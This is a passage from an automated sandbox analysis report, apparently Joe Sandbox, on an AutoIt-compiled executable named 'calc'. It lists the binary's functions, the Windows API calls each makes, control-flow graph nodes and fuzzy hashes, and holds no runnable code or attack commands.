call 42a895 653->656 655->617 656->633
    APIs
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Focus
    • String ID: TaskbarCreated
    • API String ID: 2734777837-2362178303
    • Opcode ID: c7910e21aebc1e6a89a499fde730aec7c7ffe658abb426c78a0addb64026b91b
    • Instruction ID: f800d809c8c6698ce890321309edba9d95731fd3cb02d329e72dbe3815dc5fcc
    • Opcode Fuzzy Hash: c7910e21aebc1e6a89a499fde730aec7c7ffe658abb426c78a0addb64026b91b
    • Instruction Fuzzy Hash: D141FCB2514249EFDB26BF68DC449AA3A96B740305F18843BF505E32F1D67DCC64872E
    Function 00404205 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 49registrywindowclipboardCOMMON
    Download Yara Rule

    Control-flow Graph

    APIs
    • GetSysColorBrush.USER32(0000000F), ref: 00404213
    • RegisterClassExW.USER32(?), ref: 0040425E
    • RegisterClipboardFormatW.USER32(TaskbarCreated), ref: 00404269
    • LoadIconW.USER32(00400000,000000A9), ref: 004042A8
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Register$BrushClassClipboardColorFormatIconLoad
    • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
    • API String ID: 975902462-1005189915
    • Opcode ID: fae248194e1b08d180a7888b94dd6c1f5fcc801a55d459cf83fb6d57dbcbcab5
    • Instruction ID: f45efb3e6643885d8ae29e22a69861e66850a50a293dcdb7155dbe3626e9ac17
    • Opcode Fuzzy Hash: fae248194e1b08d180a7888b94dd6c1f5fcc801a55d459cf83fb6d57dbcbcab5
    • Instruction Fuzzy Hash: 3A2164B1810308EFDB10DFA4D889BDEBBF4FB08726F00452AE642A62D1D7B59548CF54
    Function 0040F71A Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 164registryCOMMON
    Download Yara Rule

    Control-flow Graph

    APIs
    • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 0040F781
    • RegOpenKeyExW.KERNEL32(80000001,Software\AutoIt v3\AutoIt,00000000,00020019,?), ref: 0040F815
    • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?), ref: 0040F83F
    • RegCloseKey.ADVAPI32(?), ref: 0040F92A
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: CloseFileModuleNameOpenQueryValue
    • String ID: Include$Software\AutoIt v3\AutoIt$\
    • API String ID: 3617018055-2276155026
    • Opcode ID: 03b03b1970ee83669f439e37e25cce8a1ceb94ebf8fe9a10bc2f80fcae784922
    • Instruction ID: 50f134da1176b66dbd367ed9ac3c4cf0d0d6e1090dbeac708e74059743c4f1f0
    • Opcode Fuzzy Hash: 03b03b1970ee83669f439e37e25cce8a1ceb94ebf8fe9a10bc2f80fcae784922
    • Instruction Fuzzy Hash: 60512BB2940718AFD720DFA5C88499BB7F8FF18704F5045AFE54AE3641E734AA44CB58
    Function 0044BE98 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 134COMMON
    Download Yara Rule

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 842 44be98-44beea call 44d788 call 44c070 GetVersionExA 847 44beec-44bef2 842->847 848 44bef8-44bf12 GetModuleHandleA 842->848 847->848 849 44bf14-44bf1f 848->849 850 44bf33-44bf36 848->850 849->850 851 44bf21-44bf2a 849->851 852 44bf5f-44bf69 call 44e07d 850->852 854 44bf2c-44bf31 851->854 855 44bf4b-44bf4f 851->855 861 44bf73-44bf7a call 44c499 852->861 862 44bf6b-44bf72 call 44be74 852->862 854->850 858 44bf38-44bf3f 854->858 855->850 856 44bf51-44bf53 855->856 860 44bf59-44bf5c 856->860 858->850 859 44bf41-44bf49 858->859 859->860 860->852 867 44bf84-44bf93 call 4502e3 call 4505a6 861->867 868 44bf7c-44bf83 call 44be74 861->868 862->861 875 44bf95-44bf9c call 44be4f 867->875 876 44bf9d-44bfb8 call 4536f2 call 453588 call 4534f2 867->876 868->867 875->876 885 44bfc2-44bfc9 call 4532bf 876->885 886 44bfba-44bfc1 call 44be4f 876->886 891 44bfd3-44bfe0 call 44ae57 885->891 892 44bfcb-44bfd2 call 44be4f 885->892 886->885 897 44bfe2-44bfe8 call 44be4f 891->897 898 44bfe9-44c002 GetStartupInfoW call 453279 891->898 892->891 897->898 903 44c004-44c008 898->903 904 44c00a-44c00c 898->904 905 44c00d-44c023 GetModuleHandleA call 401852 903->905 904->905 908 44c025-44c026 call 44af84 905->908 909 44c02b-44c06b call 44afa6 call 44d7c3 905->909 908->909
    APIs
    • GetVersionExA.KERNEL32(?,0045B1B8,00000060), ref: 0044BEB8
    • GetModuleHandleA.KERNEL32(00000000,?,0045B1B8,00000060), ref: 0044BF0B
    • _fast_error_exit.LIBCMT ref: 0044BF6D
    • _fast_error_exit.LIBCMT ref: 0044BF7E
    • GetStartupInfoW.KERNEL32(?,?,0045B1B8,00000060), ref: 0044BFF0
    • GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 0044C013
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: HandleModule_fast_error_exit$InfoStartupVersion
    • String ID: `Wu
    • API String ID: 3067550359-3261129705
    • Opcode ID: e15d8d6f7bf71f38bc871b6429c016019c3b91647409690afd64dbd241c0bdb0
    • Instruction ID: 4397700529556a9b6abbbd61bb681adda0ddf508862c8991d2dc27ae9542f7d9
    • Opcode Fuzzy Hash: e15d8d6f7bf71f38bc871b6429c016019c3b91647409690afd64dbd241c0bdb0
    • Instruction Fuzzy Hash: F941B670D01310DAEB21AFA69C056AE36A0EF44718F24443FF808DA292DB7CC945DBDD
    Function 0041F7E3 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 208COMMON
    Download Yara Rule

    Control-flow Graph

    APIs
    • mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 0041F82A
    • UnregisterHotKey.USER32(?), ref: 0041F860
    • FindClose.KERNEL32(?), ref: 0041F8D9
    • FreeLibrary.KERNEL32(00000000), ref: 0041F935
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: CloseFindFreeLibrarySendStringUnregister
    • String ID: close all$Wu
    • API String ID: 3080552100-1790509019
    • Opcode ID: b9280a75a0d9f507fc8712bebc7b43ef7d74a75ebad66014674356505a84a988
    • Instruction ID: 3646f2384ccb1e0e64c597d038a8f1cfb5bbf3df6652e1d2dd11040289734faa
    • Opcode Fuzzy Hash: b9280a75a0d9f507fc8712bebc7b43ef7d74a75ebad66014674356505a84a988
    • Instruction Fuzzy Hash: 4F712F312401589BDB31BF26DC81AED7766AF91315F40017FF8099B172CF395E9ADA48
    Function 004200F5 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 124COMMON
    Download Yara Rule

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 1049 4200f5-42010b 1050 42012a-420136 1049->1050 1051 42010d-420125 call 41faee 1049->1051 1053 420165-42016b 1050->1053 1054 420138-420155 call 4323fe 1050->1054 1058 420265-420269 1051->1058 1057 4201d0-4201d6 1053->1057 1054->1053 1062 420157-420160 call 421406 1054->1062 1060 4201d8 1057->1060 1061 42016d-420173 1057->1061 1063 4201e6-4201f5 1060->1063 1061->1063 1064 420175-420185 call 42003a 1061->1064 1062->1053 1065 420200-42021f call 42a895 call 406ad8 1063->1065 1066 4201f7-4201fe 1063->1066 1072 420187-420190 call 42036e 1064->1072 1073 4201da-4201e1 call 418a14 1064->1073 1069 420263 1065->1069 1081 420221-420240 call 42026c LockWindowUpdate KiUserCallbackDispatcher 1065->1081 1066->1069 1069->1058 1072->1057 1080 420192-4201ad call 40fc6b 1072->1080 1073->1063 1086 4201b7-4201cb call 4320d3 1080->1086 1087 4201af-4201b5 1080->1087 1088 420256-420261 GetMessageW 1081->1088 1086->1057 1087->1057 1088->1069 1090 420242-420250 TranslateMessage DispatchMessageW 1088->1090 1090->1088
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: LoadString
    • String ID: OnAutoItStart
    • API String ID: 2948472770-779282396
    • Opcode ID: b7450ae3f2511fa549ad06ec8c8ef8b57f7694bac96b9a24d91e34451de1bce3
    • Instruction ID: 596ddb237f3c4dbc422733f4dbf707e667353c10c10091e38a87b0e8f6c63aa8
    • Opcode Fuzzy Hash: b7450ae3f2511fa549ad06ec8c8ef8b57f7694bac96b9a24d91e34451de1bce3
    • Instruction Fuzzy Hash: 0C410471B04229ABC715DB74AC84AFFB7ECFB05308F50412BE415D3243EB68AD1687A9
    Function 00401371 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON
    Download Yara Rule

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 1091 401371-4013e1 CreateWindowExW * 2 ShowWindow * 2
    APIs
    • CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,?), ref: 0040139F
    • CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 004013C0
    • ShowWindow.USER32(00000000), ref: 004013D4
    • ShowWindow.USER32(00000000), ref: 004013DD
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Window$CreateShow
    • String ID: AutoIt v3$edit
    • API String ID: 1584632944-3779509399
    • Opcode ID: 50910c52fbc06293d40c549713fca855e76ea37ac9ada999b4250cc0ee2bbbe8
    • Instruction ID: c1bcc58241d8bb41d686f4cc75eac745dfcef030c9692a37be27f8a629f86a69
    • Opcode Fuzzy Hash: 50910c52fbc06293d40c549713fca855e76ea37ac9ada999b4250cc0ee2bbbe8
    • Instruction Fuzzy Hash: D5F03AB11463747AE6321B536C08EEB2E5DEF867B9F110421F90892160E2A55950CAF9
    Function 0044ADFD Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 13libraryloaderCOMMONLIBRARYCODE
    Download Yara Rule

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 1092 44adfd-44ae0a 1094 44ae22-44ae26 ExitProcess 1092->1094 1095 44ae0c-44ae1a GetProcAddress 1092->1095 1095->1094 1096 44ae1c 1095->1096 1096->1094
    APIs
    • GetModuleHandleA.KERNEL32(mscoree.dll,0044AF6B,?,0045B120,00000008,0044AFA2,?,00000001,00000000,00454705,00000003), ref: 0044AE02
    • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0044AE12
    • ExitProcess.KERNEL32 ref: 0044AE26
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressExitHandleModuleProcProcess
    • String ID: CorExitProcess$`Wu$mscoree.dll
    • API String ID: 75539706-2006859676
    • Opcode ID: b17e66e1c60e703c919b077964af005c51aeddcd4bd0fbb943e394ff849fcc91
    • Instruction ID: 53a9ad44f3a9e6b916fa28b3adb372b4395d43277910e5f1d752cbfe1555cb17
    • Opcode Fuzzy Hash: b17e66e1c60e703c919b077964af005c51aeddcd4bd0fbb943e394ff849fcc91
    • Instruction Fuzzy Hash: CBD0C930280701FBEF405B719C0AA2B7A68FE44B47F108C75B819D8263CB78CC10DA2E
    Function 00455359 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 247fileCOMMON
    Download Yara Rule
    APIs
    • CreateFileW.KERNEL32(80000000,80000000,00000000,0000000C,00000001,00000080,00000000,00000001,00000000,00000000), ref: 00455536
    • GetFileType.KERNEL32(00000000), ref: 00455543
    • CloseHandle.KERNEL32(00000000), ref: 0045554E
    • GetLastError.KERNEL32 ref: 00455554
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: File$CloseCreateErrorHandleLastType
    • String ID: H
    • API String ID: 1809617866-2852464175
    • Opcode ID: 5ce06f682877ec76a1bbaac30100a30f596ab4e7cb3384c2f439e5053bbd4e01
    • Instruction ID: 3dea303bc14a8af4d4d0b503b19b291cd52b6a6c41b7bea232f97b06bbe31069
    • Opcode Fuzzy Hash: 5ce06f682877ec76a1bbaac30100a30f596ab4e7cb3384c2f439e5053bbd4e01
    • Instruction Fuzzy Hash: 02810671804A49AAEF218B94C8653BF7B70AF0231BF24415BEC51A72D3D77C498DCB5A
    Function 00455BA1 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 247fileCOMMON
    Download Yara Rule
    APIs
    • CreateFileA.KERNEL32(80000000,80000000,0046270C,0000000C,00000001,00000080,00000000,?,00000000,00000000), ref: 00455D7E
    • GetFileType.KERNEL32(00000000), ref: 00455D8B
    • CloseHandle.KERNEL32(00000000), ref: 00455D96
    • GetLastError.KERNEL32 ref: 00455D9C
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: File$CloseCreateErrorHandleLastType
    • String ID: H
    • API String ID: 1809617866-2852464175
    • Opcode ID: aefb27ce640e5ec0de87e9abf81864acf92e705f4e30c285089214354cd5a602
    • Instruction ID: 18fb0dc3de688eab9ec8008dfc50e8359a27c51e16112c87510f03193277da9b
    • Opcode Fuzzy Hash: aefb27ce640e5ec0de87e9abf81864acf92e705f4e30c285089214354cd5a602
    • Instruction Fuzzy Hash: 5D812471804B499AEF228B98C8693BE7B709F0231AF24415BEC51A72D3C77D4A4DC75A
    Function 0041629F Relevance: 7.5, APIs: 5, Instructions: 32serviceCOMMON
    Download Yara Rule
    APIs
    • OpenSCManagerW.ADVAPI32(00000000,00000000,00000008,00479E08,?,0040119C,?,?), ref: 004162B3
    • LockServiceDatabase.ADVAPI32(00000000,?,0040119C,?,?), ref: 004162C0
    • UnlockServiceDatabase.ADVAPI32(00000000,?,0040119C,?,?), ref: 004162CB
    • CloseServiceHandle.ADVAPI32(00000000,?,0040119C,?,?), ref: 004162E3
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Service$Database$CloseHandleLockManagerOpenUnlock
    • String ID:
    • API String ID: 3647510317-0
    • Opcode ID: 377cb6a1556d2c0b34a69d2726eb7eac8501c5ce8fbfca6eb216596d4b31a9b1
    • Instruction ID: 43232d2ce80c1354198d9eaea2583da01791e04a0cef509c89e940ee515f7624
    • Opcode Fuzzy Hash: 377cb6a1556d2c0b34a69d2726eb7eac8501c5ce8fbfca6eb216596d4b31a9b1
    • Instruction Fuzzy Hash: 49E06D769422209BCB202BB0ACCC9DF3B59A70621371618B2F54292291C729CCC6A66C
    Function 00401904 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(uxtheme.dll,00401884), ref: 0040190F
    • GetProcAddress.KERNEL32(00000000,IsThemeActive), ref: 00401921
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: IsThemeActive$uxtheme.dll
    • API String ID: 2574300362-3542929980
    • Opcode ID: ed6c78d227b817cdbed870c23739e6fb2758cfda5514cb43d7da1eea0dd35e15
    • Instruction ID: eea2efce3837e0203db1cb3c4d5c02faa46c89d2bfa5e81eac7c0935e43c98e4
    • Opcode Fuzzy Hash: ed6c78d227b817cdbed870c23739e6fb2758cfda5514cb43d7da1eea0dd35e15
    • Instruction Fuzzy Hash: 4ED0C9B1540702EECB205F61C8897127AE8BB14703F20987BF88AE26A1E778D644CA1C
    Function 0044FF81 Relevance: 6.2, APIs: 4, Instructions: 168fileCOMMON
    Download Yara Rule
    APIs
    • ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000003), ref: 0044FFFB
    • GetLastError.KERNEL32 ref: 00450005
    • ReadFile.KERNEL32(?,?,00000001,00000000,00000000), ref: 004500CE
    • GetLastError.KERNEL32 ref: 004500D8
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ErrorFileLastRead
    • String ID:
    • API String ID: 1948546556-0
    • Opcode ID: 106ceec12e824d1f921699dafc9b08d4ae01bbaa5a8b869dbfd030dde0547a2e
    • Instruction ID: 6471931987010d01bcf4aa760061fc4daebf1b9b9bd924f830c326e67dc1cfed
    • Opcode Fuzzy Hash: 106ceec12e824d1f921699dafc9b08d4ae01bbaa5a8b869dbfd030dde0547a2e
    • Instruction Fuzzy Hash: DE61B5389047859FDB218F58C884BAE7BF0AF02316F14419BEC658B393D779D949CB1A
    Function 00442D0D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 90COMMON
    Download Yara Rule
    APIs
    Strings
    Memory Dump Source
